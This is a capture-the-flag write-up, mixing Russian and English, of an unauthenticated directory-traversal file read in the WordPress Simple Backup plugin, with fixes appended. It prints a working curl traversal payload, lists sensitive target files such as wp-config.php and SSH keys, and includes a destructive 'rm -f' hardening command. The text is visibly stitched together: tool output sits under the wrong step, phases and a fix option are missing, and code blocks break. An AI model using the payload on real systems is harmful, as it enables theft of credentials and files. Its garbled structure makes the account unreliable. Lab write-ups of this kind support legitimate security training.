`page=backup_manager` направляет запрос в обработчик административной страницы плагина; `download_backup_file` — это параметр, который код плагина считывает напрямую и подставляет в путь файловой системы без валидации, что позволяет выполнить обход каталога (directory traversal).

---

### Оценка CVSS v3.1

**7.5 - ВЫСОКИЙ** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Вектор атаки (AV):** Сеть
- **Сложность атаки (AC):** Низкая
- **Требуемые привилегии (PR):** Отсутствуют
- **Взаимодействие с пользователем (UI):** Отсутствует
- **Область воздействия (S):** Без изменений
- **Конфиденциальность (C):** Высокая
- **Целостность (I):** Отсутствует
- **Доступность (A):** Отсутствует

---

### Бизнес-влияние

**Нарушение конфиденциальности:** ⚠️ КРИТИЧЕСКИЙ

Злоумышленники могут прочитать любой файл, доступный веб-серверу, включая:

| Файл | Влияние | Уровень риска |
|------|--------|------------|
| `/wp-config.php` | Учётные данные БД, соли, ключи | 🔴 КРИТИЧЕСКИЙ |
| `/.env` | API-ключи, секреты, конфигурация | 🔴 КРИТИЧЕСКИЙ |
| `/etc/passwd` | Перечисление пользователей, составление карты системы | 🟠 ВЫСОКИЙ |
| SSH-ключи (`.ssh/id_rsa`) | Латеральное перемещение, доступ к системе | 🔴 КРИТИЧЕСКИЙ |
| `/proc/self/environ` | Секреты работающего приложения | 🟠 ВЫСОКИЙ |
| Каталог загрузок пользователей | Личные файлы, медиа | 🟠 ВЫСОКИЙ |

**Регуляторное воздействие:**
- **Нарушение GDPR:** Несанкционированный доступ к пользовательским данным
- **Нарушение HIPAA:** Раскрытие защищённой медицинской информации
- **Нарушение PCI-DSS:** Доступ к данным банковских карт или платёжной информации
- **Нарушение SOC 2:** Нарушение требования конфиденциальности

---

### Паттерн уязвимого кода

В бюллетене Exploit-DB (39883.txt, читается через `searchsploit -x` — см. [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) задокументирован примитив **delete** плагина из `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` берётся напрямую из `$_GET['delete_backup_file']` без проверки `basename()` или контроля пути. Передача `../pizza.txt` приводит к тому, что `$bk_dir . $filename` разрешается в `.../simple-backup/../pizza.txt` → `.../pizza.txt`, что позволяет выйти за пределы предназначенной папки резервных копий.

Примитив **download**, который фактически был использован в рамках этого задания (`download_backup_file`), использует ту же самую небезопасную схему конкатенации в том же плагине, но вместо удаления файла отдаёт его обратно запрашивающей стороне — именно это позволило извлечь `/flag.txt` из корня файловой системы (10× `../` от `ABSPATH/simple-backup/`).

**Проблема:**
- Отсутствие использования `basename()` для удаления компонентов каталога
- Отсутствие белого списка допустимых файлов
- Отсутствие проверки того, что `realpath()` остаётся в пределах `ABSPATH."simple-backup/"`
- Прямая конкатенация пользовательского ввода в путь к файлу
- Отсутствие проверки `current_user_can()` / аутентификации перед отдачей файла — обработчик запускается при загрузке плагина, до собственного шлюза аутентификации WordPress `wp-admin`, поэтому он доступен **без входа в систему**

---

### Подтверждение концепции

#### **Этап 1: Первоначальный доступ — идентификация приложения**

Подключились напрямую к цели через браузер (`http://154.57.164.73:30706/`). Установка WordPress называется **«GETTING STARTED»**, а публичная запись в блоге на главной странице раскрывает точное название и версию плагина открытым текстом: **«Simple Backup Plugin 2.7.10 for WordPress»** — для идентификации уязвимого компонента даже не потребовалось инструментов перебора.

![Первоначальный доступ — версия плагина раскрыта на главной странице WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Этап 2: Идентификация сервиса**```bash
whatweb http://154.57.164.73:30706/

**Результат:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

The advisory documents unauthenticated **Arbitrary File Deletion** via the `delete_backup_file` parameter, and notes that backup files under `simple-backup/` (and, by the same unsanitized code path, arbitrary files via `download_backup_file`) can be retrieved without authentication.

![Vulnerability Research — Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Phase 4: Exploitation — Path Traversal via `download_backup_file`**

Vulnerable endpoint identified from the plugin's admin page routing:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**Графический интерфейс (используемый в этой оценке):** URL-адрес payload открывался напрямую в адресной строке браузера. Вход не требовался — браузер автоматически запустил скачивание итогового `flag.txt`.

![Эксплуатация - Path traversal payload в адресной строке браузера, flag.txt скачан](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Эквивалент в headless-режиме:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### Проверка воздействия

✅ **Нарушение конфиденциальности:** Все файлы, доступные для чтения процессу веб-сервера, становятся доступны
✅ **Аутентификация не требуется:** Неаутентифицированные пользователи могут воспользоваться уязвимостью
✅ **Взаимодействие с пользователем не требуется:** Эксплуатация через прямой HTTP-запрос
✅ **Повторяемо и надёжно:** Работает на всех уязвимых версиях
✅ **Критически важные бизнес-данные под угрозой:** Файлы конфигурации, учётные данные, пользовательские данные раскрываются

---

## Устранение уязвимости

### **Вариант 1: Белый список ввода (рекомендуется)**

Разрешить загрузку только из предопределённого списка файлов:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Преимущества:**
- Обрабатывает симлинки и сложные пути
- Автоматически проверяет вхождение в директорию
- Более гибкий, чем белый список

---

### **Вариант 3: Использование basename() только для имени файла**

Извлечение только компонента имени файла:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Разрешения файловой системы:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**Управление обновлениями:**

1. Отключите или удалите плагин Simple Backup
2. Установите одобренное решение для резервного копирования с аудитом безопасности
3. Обновите WordPress до последней версии
4. Обновите все плагины до последних версий
5. Обновите PHP до 8.0+ с патчами безопасности

---

## Цепочка атак```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘